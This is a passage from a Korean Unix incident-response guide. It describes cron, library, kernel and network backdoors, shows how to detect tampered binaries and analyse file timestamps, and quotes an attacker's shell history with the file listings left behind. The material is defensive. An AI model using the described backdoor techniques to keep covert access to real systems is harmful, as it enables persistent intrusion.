  cron을 이용한 백도어는 매우 다양하게 만들어 질 수 있다. 예를 들면 새벽 1시에 패스워드 파일에 새로운 계정을 추가했다가, 새벽 2시에 패스워드 파일을 원상태로 돌려놓도록 cronjob을 만들어 놓는 경우도 있다. 공격자는 새벽 시간 1 - 2시 사이에 시스템에 들어갈 수 있으며, 관리자가 cron 테이블을 검사하지 않는 이상 들키지 않게 된다. cron을 이용한 또 다른 방법은 이미 cron 테이블에 등록되어 있는 정상적인 프로그램을 트로이잔 프로그램으로 바꾸는 것이다. 관리자는 cron 테이블을 검사하더라도 이상한 것을 발견하지 못할 것이다. 또한 lrk에는 특정cron 엔트리가 보이지 않도록 하는 프로그램이 있어 이를 이용하면 더욱 찾아내기 힘들게 된다. 

4.2.6 Library 백도어 

  Unix 시스템은 프로그램의 크기를 줄이기 위해 자주 사용되는 루틴을 재사용하는 공용 라이브러리(shared Libraries)를 사용한다. 어떤 공격자는 이러한 라이브러리에 백도어를 심는다. 예를 들면 login 프로그램이 사용하는 crypt() 루틴에 루트쉘 백도어를 심어놓을 수 있다.  

4.2.7 Kernel 백도어 

  커널(Kernel)은 유닉스 시스템의 핵심부분이다. 최근의 시스템은 사용의 편리를 위해 실행되고 있는 커널에 새로운 기능을 하는 커널모듈을 로드할 수 있도록 되어 있다. 이러한 편리성은 공격자에게 커널 백도어를 손쉽게 설치할 수 있도록 한다. 사실 커널 백도어를 교묘히 설치하게 되면, 이를 찾는 것은 거의 불가능하다. 현재 각 시스템별로 커널 백도어에대한 문서와 도구들이 나와 있어, 가장 위협적인 백도어 이다. 공격자들이 커널 백도어 도구를 디폴트로 사용할 경우에는 찾아낼 수 있겠지만, 조만간 커널 백도어를 제대로 사용할 줄 알게 되면, 피해 시스템에서 공격흔적을 찾는 것이 아주 힘들어 질 것이다. 다음은 현재 잘 알려져 있는 커널 백도어에 대한 설명으로 커널 백도어를 탐지하는데 도움이 될 것이다. 하지만 한번 더 강조하는데, 이러한 도구를 제대로 사용할 경우 이를 탐지하기는 무척 어려워진다. 

 참고자료 : 커널기반 루트킷 분석 보고서 - knark -, CERTCC-KR

   http://www.certcc.or.kr/paper/incident_note/in2000004.html 

4.2.8 File System 백도어 

  많은 공격자들은 자신이 사용하는 공격 프로그램, 스니퍼 데이터, 소스코드 등을 저장하기 위해 파일시스템을 이용하며, 그리고 이를 보이지 않도록 숨기기 위하여 위조된 ls, du 등과 같은 루트킷 프로그램을 이용한다. 하지만 이는 숙련된 관리자에 의해 쉽게 노출될 수 있다. 따라서 좀더 고수준의 공격자는 일반 파일시스템을 이용하기보다는 하드 드라이브에 자신만이 접근할 수 있는 부분을 만들어 놓고 이를 이용하기도 한다. 일반 관리자에게 이부분은 “bad sector"로만 보일 것이다. 

4.2.9 네트워크 백도어 

  공격자는 시스템에서뿐만 아니라 네트워크 트레픽도 가능한 한 숨기려고 한다. 그리고 이러한 네트워크 백도어는 종종 Firewall을 우회할 수 있는 수단을 제공하기도 한다. 네트워크 백도어는 주로 특정 포트번호를 사용하지만, 이는 관리자가 쉽게 알아낼 수 있기 때문에 포트를 사용하지 않는 백도어를 사용하기도 한다. 

o TCP shell 백도어

  특정 포트번호를 사용하여 공격자로부터의 접속을 받아들이는 백도어이다. 일반적으로 다른 사람은 접근할 수 없도록 자신만이 아는 패스워드를 걸어놓기도 한다. 이는 netstat 명령이나, nmap 등의 포트 스캐너를 이용하여 열려진 포트를 찾아낼 수 있지만, SMTP 처럼 흔히 사용되는 포트를 이용하면 관리자는 해당 포트가 백도어인지 아니면 정상적인 서비스인지 구별하기 힘들게 된다. 

o UDP shell 백도어

  UDP 패킷을 이용한 백도어로 TCP 처럼 커넥션을 이루지 않기 때문에, netstat 명령으로 공격자가 접속하는 것을 알아내지 못한다. 또한Firewall에서 열려진 UDP 포트를 사용하여 Firewall을 우회할 수도 있다. 하지만 이도 nmap 등의 포트 스캐너를 이용하여 열려진 포트를 찾아낼 수는 있다. 

o ICMP shell 백도어

  Ping 은 가장 널리 사용되는 네트워크 프로그램이다. icmp 백도어는 이러한 ping 패킷에 데이터를 싫어 전달하는 백도어 이다. 흔히, covert channel 이라고도 한다. 관리자는 단순히 ping이 오고가는 것으로만 판단하게 되며, 이를 탐지하기 위해서는 ping 데이터 패킷을 분석해야만 한다. 이미 DDoS 도구인 TFN에서 사용되었다. 

  다음은 nmap을 이용하여 특정 TCP 포트가 열려있는지 검사하는 방법이다. 제일 마지막 포트번호가 열려 있는데, 이는 정상적인 서비스가 아니다. telnet으로 접속해서 백도어 포트임을 확인해 볼 수 있다. 

      # nmap -sT -p 1-65535 xxx.xxx.xxx.xxx

      Starting nmap V. 2.3BETA6 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)

      Interesting ports on victime (xxx.xxx.xxx.xxx):

      Port    State       Protocol  Service

      7       open        tcp       echo                   

      19      open        tcp       chargen 

      ...              

      65535      open        tcp       unknown                  

      # telnet xxx.xxx.xxx.xxx 65535

      Trying xxx.xxx.xxx.xxx...

      Connected to xxx.xxx.xxx.xxx.

      Escape character is '^]'.

      # 
 

4.3 시스템 프로그램 변조 확인 방법 

  앞서 설명한 것처럼 공격자의 흔적을 감춰주는 다양한 루트킷, 트로이잔, 백도어 프로그램이 있기 때문에 피해 시스템의 시스템 명령은 믿고 사용할 수가 없다. 그리고 올바른 분석과 시스템 복구를 위해서는 이러한 모든 프로그램을 찾아내야 한다. 물론 시스템 재 설치라는 간단한 복구 방법이 있기는 하지만, 정확한 분석이 따르지 않는 복구는 결국 지속적인 침입을 당하게 만든다. 다음은 어떠한 프로그램들이 변조되었는지 확인할 수 있는 방법을 설명한다.  

  o 시스템 프로그램의 파일 크기, Timestamp(생성시간, 변경시간 등) 확인 

  ls, ps, netstat 등 트로이잔으로 자주 사용되는 프로그램의 파일사이즈를 똑 같은 OS, 버전의 다른 시스템의 프로그램과 비교하여 변조 여부를 알 수 있다. 또 다른 방법은 해당 프로그램의 생성날짜 또는 변경시간을 다른 시스템 명령의 날짜와 비교해 봄으로서 변조유무를 알 수 있다.만약 프로그램 크기가 다르거나 날짜가 다르다면 프로그램이 변조되었을 가능성이 매우 크다. 하지만 이러한 프로그램의 크기와 timestamp를 맘대로 설정할 수 있도록 해주는 공격프로그램이 있기 때문에 확실한 방법은 아니다. 

  o 시스템 콜 추적 

  트로이잔으로 의심가는 프로그램(ls, ps, netstat )이 실행될 때 호출되는 시스템 콜과 정상적인 프로그램의 시스템 콜을 비교하여 시스템 명령의 변조유무를 확인할 수 있다. truss strace 명령을 이용할 수 있다. 이에 대해서는 앞서 예를 들어 설명하였다. 

  o 무결성 검사 

  MD5 등의 checksum 값을 이용하여 파일의 변조 유무를 알아낼 수 있다. 평소에 tripwire와 같은 무결성 검사도구로 시스템 파일에 대해 관리를 하고 있는 경우에는 쉽게 시스템 명령의 변조유무를 알아낼 수 있다. 하지만 checksum 값의 DB가 해킹당한 시스템 내에 있다면, 공격자가 checksum 값을 위조할 수 있기 때문에 이 또한 완전히 믿을 수 있는 것은 아니다.  

  무결성을 검사하는 다른 방법중의 하나는 각 OS 벤더에서 제공하는 checksum 값을 이용하여 비교해 보는 방법이 있다. 다음은 레드햇과Solaris 시스템에서 이러한 checksum 값을 비교해 보는 방법을 설명한다. 

  redhat의 경우 아래와 같은 명령을 이용하여, 모든 설치된 패키지 또는 특정 패키지의 변조유무를 검사할 수 있다.  

      # rpm -V -a     ---> 모든 설치된 패키지의 변화에 대하여 검사

      # rpm -V 패키지이름   ---> 특정 패키지에 대해서만 변화여부 검사 

  다음은 피해 시스템에서 rpm 명령을 이용하여 트로이잔 ls 프로그램을 확인한 예이다. 

      [victim@consult /root]# rpm -V fileutils

      S.5....T   /bin/ls 

      S : 프로그램의 사이즈가 변경

      5 : md5 chechsum 값이 변경

      T : 파일의 mtime 값이 변경 

  다음은 redhat Linux에서 검사해볼 필요가 있는 주요 패키지 이름 및 포함된 프로그램에 대한 정보이다. 

      util-linux-2.7-18  /usr/bin/chfn

                  /usr/bin/chsh

                  /bin/login

      fileutils-3.16-9    /bin/ls

      passwd-0.50-11 /usr/bin/passwd

      procps-1.2.7-5 /bin/ps

                  /usr/bin/top

      rsh-0.10-4 /usr/sbin/in.rshd

      net-tools-1.33-6 /bin/netstat

                  /sbin/ifconfig

      sysklogd-1.3-22 /usr/sbin/syslogd

      netkit-base-0.10-10 /usr/sbin/inetd

      tcp_wrappers-7.6-4 /usr/sbin/tcpd

      psmisc-17-3 /usr/bin/killall

      SysVinit-2.74-4 /sbin/pidof

      findutils-4.1-23        /usr/bin/find 
 

  solaris의 경우 다음 사이트에서 자사 제품 및 시스템에 대한 fingerprint 서비스를 제공하고 있다. 해당 페이지에서 md5 프로그램을 다운 받아 설치하고 검사하고자 하는 파일의 체크섬값을 만들어 이를 비교해 보면 파일의 변조유무를 알 수 있다. 

      http://sunsolve.Sun.COM/pub-cgi/show.pl?target=content/content7 
 
 
 

4.4 피해 시스템 분석 

  피해 시스템을 분석한다는 것은 결국 공격의 흔적, 즉 증거를 찾아내는 과정이다. 하지만 이에 대한 방법이나 절차는 일반적으로 정형화되어 있지 않고, 주로 경험을 통하여 이루어지는 경우가 많았다. 최근에 "Computer Forensics" 라는 이름으로 이러한 방법에 대하여 과학적으로 접근하려는 시도들이 많이 나고 있다. 여기서는 공격자들이 사용하는 공격도구, 루트킷, 백도어, 또는 트로이잔에 대한 지식을 바탕으로 피해시스템을 분석하는 방법에 대하여 설명한다. 그리고 이러한 분석을 체계적으로 도와주는 공개용 도구를 이용한 방법도 소개한다. 

4.4.1 시스템 상태 자료 분석 

  먼저 앞서 수집했던 정보(Freezing The Scene)를 살펴본다. 단 이 정보는 루트킷이나 백도어가 설치되어 있지 않을 경우에 올바른 정보를 보여준다.  

       o ps : sniffer 또는 취약점 스캔 프로그램 등 공격 프로그램이 실행되고 있는지 살펴본다. 주로 평소에 보지 못했던 프로세스를 확인해 보면 된다.

       o lsof : 시스템상의 모든 프로세스가 사용하는 열려진 파일 정보를 보여준다. 이는 ps 명령을 이용한 정보를 대체할 수 있다.

       o netstat : 서비스하지 않는 포트가 열려 있는지 또는 이상한 사이트로(에서) 접속이 있는지 확인한다.

   o last : 사용하지 않는 계정 또는 이상한 사이트에서 로그인한 정보를 확인한다.

   o who : 누가 접속해 있었는지 확인한다.

       o nmap 포트스캔 결과 : 피해 시스템에 이상한 포트가 열려있는지를 확인한다.

          네트워크 백도어를 가장 빨리 찾을 수 있는 방법이다. 이는 시스템에 루트킷 등이 설치되어 있더라고 외부에서 검사한 것이므로 정확한 정보를 제공한다.  

  위 과정에서 이상한 흔적을 찾기 위해서는 관리자가 평소의 시스템 상태 및 사용에 대하여 잘 알고 있어야만 한다. 그리고 만약 공격흔적을 발견하게 되면 이를 중심으로 세부적인 분석을 하면 된다.  

  만약 루트킷이 설치되어 있다면(시스템 파일 변조여부 확인방법 참조), 똑같은 버전의 다른 시스템에서 시스템 명령을 복사해서 사용하거나,부분적으로 시스템 패키지를 다시 설치해서 분석한다. 단 다시 패키지를 설치하게 되면 많은 공격흔적들이 없어질 수 있다. 미리 준비된 분석시스템을 이용하는 것이 가장 좋은 방법이다. 

  변조된 'ps',  'netstat'를 대신해서 사용할 수 있는 프로그램으로는 'lsof(List Open File)' 라는 프로그램이 있다. 이 도구는 피해 시스템 분석에 있어 필수 적인 도구로, 특정 프로세스가 사용하는 모든 열린 파일을 알 수 있도록 해준다. 또한 특정 열려진 포트를 어떤 프로세스가 사용하고 있는지도 알 수 있다. 레드햇의 경우 디폴트로 설치되어 있을 것이며, 기타 시스템의 경우 다음 사이트에서 소스를 다운받아 설치하여야 한다. 평소에 자신이 관리하는 시스템에 대한 lsof 바이너리를 만들어 두는 것이 해킹사고시 빨리 대응하기에 좋다. 

      ftp://vic.cc.purdue.edu/pub/tools/unix/lsof 또는

      ftp://ftp.sunet.se/pub/unix/admin/lsof/ 

  루트킷을 피해 가는 또 다른 방법으로는 루트킷 설정파일을 찾아서 이를 없애는 것이다. 많은 침입자들은 디폴트 디렉토리에 루트킷 설정파일을 만들기 때문에, 관리자는 이를 쉽게 찾아내서 제거할 수 있다. 대부분의 루트킷은 설정파일에 등록된 내용을 숨기는 기능을 한다. 따라서 설정파일의 내용을 지우면 ls, ps, netstat 등과 같은 변조된 트로이잔 프로그램을 그대로 사용할 수 있게 된다. 

  만약 어쩔 수 없이 피해 시스템에 대한 bit 이미지를 백업하지 않고, 온라인으로 피해 시스템을 직접 분석할 경우에는(초소한의 피해 시스템 분석을 결정한 경우이다), 먼저 위에서 설명한 정보와 더불어 다음과 같은 주요 정보를 다른 안전한 시스템에 복사해 두어야 한다. 침입자는 언제든 시스템을 파괴할 수 있기 때문이다. 

      o 시스템의 모든 로그 파일

      o inetd.conf, 패스워드 파일, 기타 주요 설정 파일

      o 주요 디렉토리에 대한 ls -alt 결과 값(, /dev, /, /etc, 사용자 홈 디렉토리 등)

      o find / -ctime -ndays -ls 결과 값

        ※ 이미 최소한의 분석방법을 택했으므로, find 명령을 사용하여 가능한한 많은 정보를 획득한다.

 o 발견시, 침입자가 사용한 디렉토리 파일 등

      o 기타 시스템을 분석하면서 나온 정보들 

4.4.2 공격 시간대를 중심으로 분석 

  대략적인 공격시간대를 알 경우에는 피해 시스템 분석이 그만큼 쉬워진다. 대부분 이러한 공격 시간대는 사고 접수 시간이나 사고 내용에 남은 로그의 시간대로 알 수 있다. 국외에서 사고관련 메일을 받은 경우에는 우리나라 시간대로 계산해야 한다. 

      Greetings, 

         On March 2, 2001 we detected a scan on our network for the RPC Portmapper

      service (port 111/tcp).  This scan appears to have originated from xxx.xxx.xxx.10

      which is registered to your domain.

         Either some third party has compromised xxx.xxx.xxx.10 and is now using it

      to attack others sites or a legitimate user(s) of xxx.xxx.xxx.10 are engaging in practices

      that are not condoned under most company or ISP acceptable use  policies.

         Please see that this incident is investigated and appropriate action taken to secure

      your host/network.  Below are the logs from the incident, date/time stamps are

      in central standard time. 

      Thanks, 

      Mar  2 13:35:39 xxx.xxx.xxx.10:4880 -> yyy.yyy.yyy.131:111 SYN **S*****

      Mar  2 13:35:39 xxx.xxx.xxx.10:4881 -> yyy.yyy.yyy.132:111 SYN **S*****

      Mar  2 13:35:39 xxx.xxx.xxx.10:4882 -> yyy.yyy.yyy.133:111 SYN **S*****

      Mar  2 13:35:39 xxx.xxx.xxx.10:4883 -> yyy.yyy.yyy.134:111 SYN **S*****

      Mar  2 13:35:39 xxx.xxx.xxx.10:4884 -> yyy.yyy.yyy.135:111 SYN **S*****

      Mar  2 13:35:39 xxx.xxx.xxx.10:4885 -> yyy.yyy.yyy.136:111 SYN **S*****  

  위와 비슷한 해킹사고 관련 메일을 받았을 경우, 메일에 포함된 로그 정보를 가지고 대략적인 분석 날짜를 추측할 수 있다. 위에서는 3 2일로 나오고 있는데, 이는 피해시스템이 다른 시스템을 공격한 시간이므로 3 2일 전후에 변경된 파일을 중심으로 분석을 하면 분석작업이 쉬워질 것이다. 만약 시스템 분석을 3 6일에 한다면 다음과 같은 명령으로 현재로부터 10일 이전까지 변경된 파일을 찾을 수 있다. 

      # find / -mtime -10 -ls 

공격자는 흔히 시스템 파일의 변화를 숨기기 위해 시간을 수정하는데, 이런 경우에는 파일의 inode 변경시간(ctime, file attribute change time)을 점검하면 된다. 다음 명령은 지난 n 날짜동안 수정된 inode를 갖는 모든 파일을 찾아준다. 

      # find / -ctime -ndays -ls 

  필요한 경우 ndays를 충분히 크게 설정하여 그 결과를 조사하면 된다. 좀더 시간이 걸릴뿐이다. 다음은 피해 시스템에서 공격시간대 전후로ctime이 변경된 파일 리스트이다. 그 중에서 해킹과 관련 흔적만을 보여준다. 

       사례)  find / -ctime -10 -ls 실행 결과 파일

      ...

      /dev/ptyq /xxx.mil  --> 다른 사이트에 대한 스캔공격 결과 파일

      /dev/ptyq /state.xx.us

      /dev/ptyq /xxxx.xxx.mil

      /dev/ptyq /xxx.mil.os

 /dev/ptyq /state.xx.us.os

      ...

      /etc/rc.d/init.d  --> 시작 스크립트 파일에 백도어를 심은 흔적

      /etc/rc.d/rc.local

      ...

      /var/.../s.c   --> 해킹 프로그램

      /var/.../s

      ...

      /bin/ls   --> 주요시스템 파일에 대한 트로이잔 설치 흔적

      /bin/netstat

      /bin/ps

      /bin/login

      /bin/sk8er

      /bin/syslog

      ...

      /home/sk8er/...  --> 공격자가 사용하는 디렉토리 및 프로그램

      /home/sk8er/.../a

      /home/sk8er/.../z0ne

      /home/sk8er/.../statd-linux.c

      /home/sk8er/.../b00ger

      /home/sk8er/.../b00ger/scan.c

      /home/sk8er/.../statd  --> rpc.statd 취약점 공격 프로그램

      /home/sk8er/.../cmsd  --> cmsd 취약점 공격 프로그램

      /home/sk8er/.../rpc-cmsd.c

      /home/sk8er/.../edu.ips

      /home/sk8er/.../it.ips

      /home/sk8er/.../it.vuln

      /home/sk8er/.../kr.log  --> kr 도메인에 대한 취약점 스캔 경과 파일 
 

4.4.3 잘 알려진 공격기법에 대하여 분석 

  공격자가 주로 어떠한 파일을 만들고 사용하는지, 어떠한 백도어를 심어놓는지에 대한 사전 지식을 바탕으로 분석할 수 있다. 이는 앞서 설명한 백도어, 루트킷 등에 대한 지식과 많은 경험을 필요로 한다. 정확한 분석은 아니지만 대부분의 공격흔적, 공격방법을 쉽게 알아낼 수 있다. 다음은 피해 시스템 분석 시 가장 일반적으로 점검하는 부분이다. 이는 앞서 설명한 백도어, 루트킷과 관련이 있다. 

  o /etc/passwd 파일 점검

    - 새로 생성된 계정

    - uid 0 인 계정

    - 패스워드가 없는 계정  

  o history 파일 점검

          공격자가 history 파일을 삭제하지 않았다면, 이 파일에서 상당히 유용한 정보를 얻을 수 있다. 따라서 먼저 root나 의심이 가는 사용자 홈디렉토의 history 파일을 점검한다. 다음은 피해시스템에서 발견한 history 파일의 내용으로 공격자가 "/var/..." 디렉토리를 만들고 공격 프로그램을 다운받아 다른 여러 사이트를 공격하는 과정을 보여준다. 

         사례) root history 파일 내용

      /bin/sk8er

      mkdir /var/...

      cd /var/...

      cd /etc/hosts

       pico /etc/hosts

      ls

      ftp ftp.xxx.net

      ls

      ...

      pico s.c

      gcc -o s s.c

      ./s c55509-a.xxx.xxx.xxx.com 1000

      ...

      mv b00ger-rpc.tar.gz ...

      cd ...

      gunzip b00ger-rpc.tar.gz

      tar -xf b00ger-rpc.tar

      mv b00ger-rpc b00ger

      ls

      ./z0ne nl > nl

      chmod +x z0ne

      ./z0ne nl > nl

      ./z0ne -o nl > nl

      ... 

  o cron, at 테이블 점검

    - /var/spool/cron/crontabs/ 디렉토리의 모든 파일, 특히 "root" 파일 점검

    - /var/spool/cron/atjobs/ 디렉토리의 모든 파일

    - 위 파일에 정의된 모든 실행파일에 대한 점검(혹시 트로이잔이 아닌지를 점검한다) 

  o 숨겨진 디렉토리 점검

          공격자들은 주로 "."  ".."으로 시작하는 디렉토리를 만들어 사용한다. 이는 관리자가 아무런 옵션 없이 "ls" 명령을 사용했을 때 보이지 않게 된다. 따라서 다음과 같은 명령으로 숨겨진 디렉토리를 찾아보는 것도 효과적인 방법이다. 

      # find / -name "..*" -print 또는

      # find / -name ".*" -print     

          공격자들은 주로 "/dev", "/var", 그리고 각종 "tmp" 등 일반적으로 파일이 아주 많은 디렉토리 또는 아무나 쓰기 가능한 디렉토리에 이러한 작업 디렉토리를 만드는 경우가 많다. ”/dev" 디렉토리의 경우 보통 일반적인 파일이 존재하지 않으므로 다음과 같은 명령으로 일반 파일을 찾아내서 그 내용을 점검하면 된다. 대부분의 루트킷, 백도어 설정파일이 디폴트로 "/dev” 디렉토리에 설치되므로 쉽게 찾아낼 수 있다. 

      # find /dev -type f -print 

          어떤 경우에는 공격자가 디렉토리 이름에 특수 문자를 사용하여 그 이름을 알 수 없는 경우가 있는데 이때는 디렉토리 리스트를 파일로 저장하여 보면 그 이름을 알아낼 수 있다. 

       사례) ls -al 옵션으로 보이지 않는 디렉토리명 알아내기

 # ls -al

      drwxr-xr-x   2 root     other        512  3월  6일  13:31 /  --> 디렉토리 이름이 않보임

      drwxr-xr-x   4 root     other        512  3월  6일  13:34 ./

      drwxr-xr-x  19 rewt     other       1024  3월  6일  13:25 ../

      drwxr-xr-x   2 root     other        512  3월  6일  13:25 ../ --> 디렉토리 이름이 않보임 

      # ls -al > ls.log

      # vi ls.log

      drwxr-xr-x   2 root     other        512  3월  6일  13:31 ^B^F/

      drwxr-xr-x   4 root     other        512  3월  6일  13:34 ./

      drwxr-xr-x  19 rewt     other       1024  3월  6일  13:25 ../

      drwxr-xr-x   2 root     other        512  3월  6일  13:25 ..^B/ 

  o 백도어 파일 점검

    - 사용자 홈디렉토리의 ".rhosts", ".forward" 파일 내용점검

    - /etc/inetd.conf, /etc/services 파일 내용점검

    - /etc/rc.d/ 디렉토리내의 파일 내용점검 

  o 트로이잔 프로그램 점검

        - login, ps, netstat, find, ls, ifconfig, inetd, passwd, syslogd, tcpd, top 등 트로이잔으로 잘 사용되는 프로그램

    - in.telnetd  inetd.conf 파일에 등록된 모든 네트워크 서버 실행 파일

    - /lib/libc.so.* (on Suns) 등의 라이브러리  

  o root 소유의 SUID 권한 파일 점검 

      # find / -user root -perm -4000 -print 
 

4.4.4 MAC time에 근거한 분석 

 유닉스 시스템뿐만 아니라 대부분의 파일시스템은 모든 디렉토리나 파일과 관련된 시간 속성(mtime, atime, ctime)을 갖는다. 그리고 이러한 시간속성은 시스템, 또는 사용자 활동(Activity)에 대한 정보 등 피해 시스템을 분석하는데 매우 중요한 정보를 제공한다. 이러한 시간 속성을 줄여서 MAC time이라고 한다. 

 O atime(마지막 접근(access)) : 마지막으로 파일을 읽거(read)나 실행(execution)시킨 시간

      O mtime(마지막 변경(Modification) 시간) : 파일을 생성(creation) 시간, 또는 마지막으로 파일내용을 바꾼 시간

      O ctime(마지막 파일속성 변경(status change) 시간) : 마지막으로 파일의 소유자, 그룹, 퍼미션 등이 변경된 시간, dtime이 없는 시스템에서는 ctime을 파일의 삭제시간으로 추정할 수 있다.

 O dtime(삭제(deletion) 시간) : 파일 삭제시간

 

  MAC time 은 공격자가 피해 시스템에서 어떠한 행동을 했는지에 대해 판단할 수 있는 자세한 정보를 제공한다. 예를 들어 공격자가 어떤 프로그램을 생성하고, 컴파일하고, 실행했는지에 대한 정보를 알 수 있으며, 어떠한 프로그램을 변조시켰는지에 대한 정보도 알 수 있다. 또한ctime inode 정보를 추적하게 되면 지워진 파일에 대한 정보와 내용을 복구할 수 있다. 특히, MAC time을 시간순서로 정렬해서 분석하게되면 침입자의 일련의 행동을 추측할 수도 있게 된다.  

  다음은 침입자가 피해 시스템에서 sniffer 프로그램(linsniff.c)을 컴파일하고 "telnetd" 프로그램으로 이름을 변경한 경우, 피해 시스템에서MAC time이 변경된 파일들을 시간변화에 따라 보여준다. 
 
 

      시간           size  mac 

  -------------------------------------------------------------------------------------

  XXX 12 XX 11:36:59    5127 m.c -rw-r--r-- root     root     /x/etc/..___/linsniff.c

  XXX 12 XX 11:37:08    4967 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/if.h

                        3143 .a. -rw-r--r-- root  root     /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h

                        3145 .a. -rw-r--r-- root root     /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h

                        1910 .a. -rw-r--r-- root     root     /x/usr/src/linuxelf-1.2.13/include/linux/ip.h

                        2234 .a. -rw-r--r-- root   root     /x/usr/src/linuxelf-1.2.13/include/linux/route.h

                        1381 .a. -rw-r--r-- root    root     /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h

  XXX 12 XX 11:37:10    2048 ..c drwxr-xr-x root     bin      /x/usr/sbin

  XXX 12 XX 11:37:14    2048 m.. drwxr-xr-x root     bin      /x/usr/sbin

  XXX 12 XX 11:37:15    8179 m.c -rwxr-xr-x root     root     /x/usr/sbin/telnetd

  XXX 12 XX 11:37:48    8179 .a. -rwxr-xr-x root     root     /x/usr/sbin/telnetd

  XXX 12 XX 11:41:52   77476 .a. -rwxr-xr-x root     bin      /x/usr/sbin/wu.ftpd

  XXX 12 XX 11:42:08    4096 mac -rw-r--r-- root     root     /x/var/pid/ftp.pids-remote 

  유닉스 시스템에서는 이러한 MAC time을 자세히 분석할 수 있는 프로그램이 제공되지 않기 때문에, 다른 도구를 사용하여야 한다. 현재 몇몇도구가 공개되어 있으며, 이러한 도구는 MAC time을 비롯하여 지금까지 설명한 피해 시스템 분석을 위한 다양한 도구를 제공한다.  

  MAC time을 가지고 시스템을 분석할 경우 주의할 것은 관리자가 단순히 시스템을 둘러보기만 해도 MAC time이 변경된다는 것이다. 특히, find와 같은 명령을 사용하면 atime이 변경되기 때문에 위의 예와 같이 침입자가 접근했던 경로를 얻을 수 없게 된다. , MAC time은 아주 변경되기 쉬운 정보이기 때문에, 피해 시스템을 분석하기에 앞서 TCT와 같은 분석도구를 이용해 MAC time값을 획득하여야 한다. 가장 좋은 방법은 분석시스템을 이용하여 피해시스템을 분석하는 것이다 보다 자세한 설명은 "IV. 피해 시스템 분석 도구를 참조하기 바란다. 

  MAC time을 이용한 분석에도 물론 한계가 따른다. 무엇보다 MAC time은 파일에 대한 최근의 마지막 변경 시간만을 간직하고 있기 때문에,활발한 시스템 활동에 의해 쉽게 변경될 수 있다. 그리고 공격자는 touch 등의 명령이나 시스템 시간을 바꿈으로서 언제든 이러한 시간을 변경할 수 있다. 하지만 침입자가 몇몇 파일의 시간을 변조했다 하더라도, MAC time은 여전히 시스템에서 일어난 일을 분석하는데 큰 도움이 될 것이다. 
 

4.5 해킹 프로그램 분석 

  공격자가 남겨둔 공격 프로그램(잔해)을 살펴보면, 바이너리만 남아있는 경우, 소스코드가 있는 경우, 다른 시스템을 공격한 결과 값이 있는 경우, 컴파일 하다가 실패한 잔해가 있는 경우 등이 복합되어 존재하게 된다. 남겨진 잔해에 따라 크게 세 가지 정도의 공격의도가 추측될 수 있다.  

  바이너리 파일만 있는 경우에는 피해 시스템을 실전 공격용으로 사용하는 경우가 많다. 다른 모든 흔적을 제거하고 공격에 필요한 바이너리 프로그램만을 찾기 힘들게 설치해 놓고 나간 경우이다. 가장 침입자의 흔적을 찾아내기 힘든 경우가 되며, 대부분의 경우 모니터링을 하지 않는 이상 침입자 시스템의 IP를 알아내지 못한다. "해킹 초보자(Lamer) 또는 스크립트 키디"의 연습 공격이 아니고, 시스템에 대하여 잘 아는 실력 있는 공격자에 의한 공격이다. 그리고 대규모 네트워크 공격을 준비하기 위한 공격(, DDoS 에이전트), 인터넷 웜(Internet Worm)과 유사한 자동 또는 반자동 공격도구에 의한 공격일 가능성도 많다. 이럴 경우 언제, 어디로부터 공격자가 재침입 할 지 추측할 수 없게 되어 침입자를 모니터링하는 일 또한 어려워진다. 아이러니컬하게도 이런 경우에는 다른 공격자가 자신이 침입한 시스템을 사용하지 못하도록 보안 조치를 취해놓는 경우가 많다.

   

  초보자(Lamer) 또는 초보 스크립트 키디(Script Kiddies)들은 피해 시스템에 로그파일을 비롯하여 history 파일, 루트킷 설정 파일 등 무수히 많은 흔적을 남겨놓는다. 단순한 호기심 또는 재미로 공격을 하고 시스템을 만져 보다가 나가는 것으로 추측된다. 새로운 공격기법에 대한 테스트를 위하여 각종 공격 프로그램을 가져와 컴파일 해보고, 실행시켜보고 하는 등의 행동도 보이며, 스니퍼를 설치하여 각종 ID/Password를 빼내서 다른 시스템을 손쉽게 공격하거나, 하나의 공격 프로그램을 이용하여 전 세계를 횡단하기도 한다. 이런 경우, 피해 시스템에는 해당 공격자외에도 다수의 공격자 흔적이 남는 경우가 많다. 운이 나쁜 경우에는 어떤 한 초보자가 모든 걸 다 뒤집어 쓸 수도 있는 상황이 된다. 

  마지막의 경우는 분명 피해 시스템으로 의심은 가는데, 침입 흔적이 전혀 밝혀지지 않는 경우이다. 장시간을 투자해서 분석하고 모니터링해야만 추적할 수 있을 것이다. 

  새로운 공격기법의 출현과 시간의 흐름에 따라 피해시스템에 남는 흔적의 유형도 변화한다. DDoS 공격을 가지고 위의 예들을 설명할 수 있다. DDoS 공격도구가 인터넷에 설치되기 시작한 99년 중반, DDoS 공격 도구중의 하나인 Trin00가 발견되었을 당시에는 반자동의 공격 프로그램으로 시스템을 공격하여 Trin00 Agent를 설치한 다음, 모든 공격 흔적을 지우고, 시스템 보안패치까지 수행하는 약간 고난위도의 공격기법을 이용한 공격이 많이 발견되었다. 여느 피해 시스템과는 달리 바이너리가 설치된 곳을 찾기도 어려우며, 파일이름도 구분하기 어렵도록 만들어져 있었다. 반면, 2000년 들어 이러한 공격도구가 공개되고 난 뒤에는 초보자들의 사용으로 인하여 어디서나 쉽게 발견되곤 한다. 따라서 피해 시스템 중에서도 깔끔하게 공격당한 시스템은 새로운 공격기법이 사용되었거나, 또는 피해 시스템을 지속적으로 사용하기 위한 소위 "고수"의 공격일 확률이 높으며, 많은 시간을 들여 자세히 분석하고 침입자를 모니터링할 가치가 있다. 

  공격자가 설치한 또는 남겨둔 공격 프로그램의 기능을 분석하면 귀중한 정보를 얻게 된다. 공격자가 시스템을 어떠한 목적으로 사용하는지,어떻게 침입을 했는지, 시스템에 다시 들어올지 혹은 들어오지 않을지, 만약 들어온다면 어떠한 방법으로 들어올지 등에 대한 정보를 추측할 수 있게 된다. 실제 범죄에서 사용된 도구에 따라 어떠한 의도가 있는지를 추측할 수 있는 것과 비슷하다. 그리고 이러한 정보는 공격자 추적 및 모니터링하기 위한 기본 자료가 된다. 

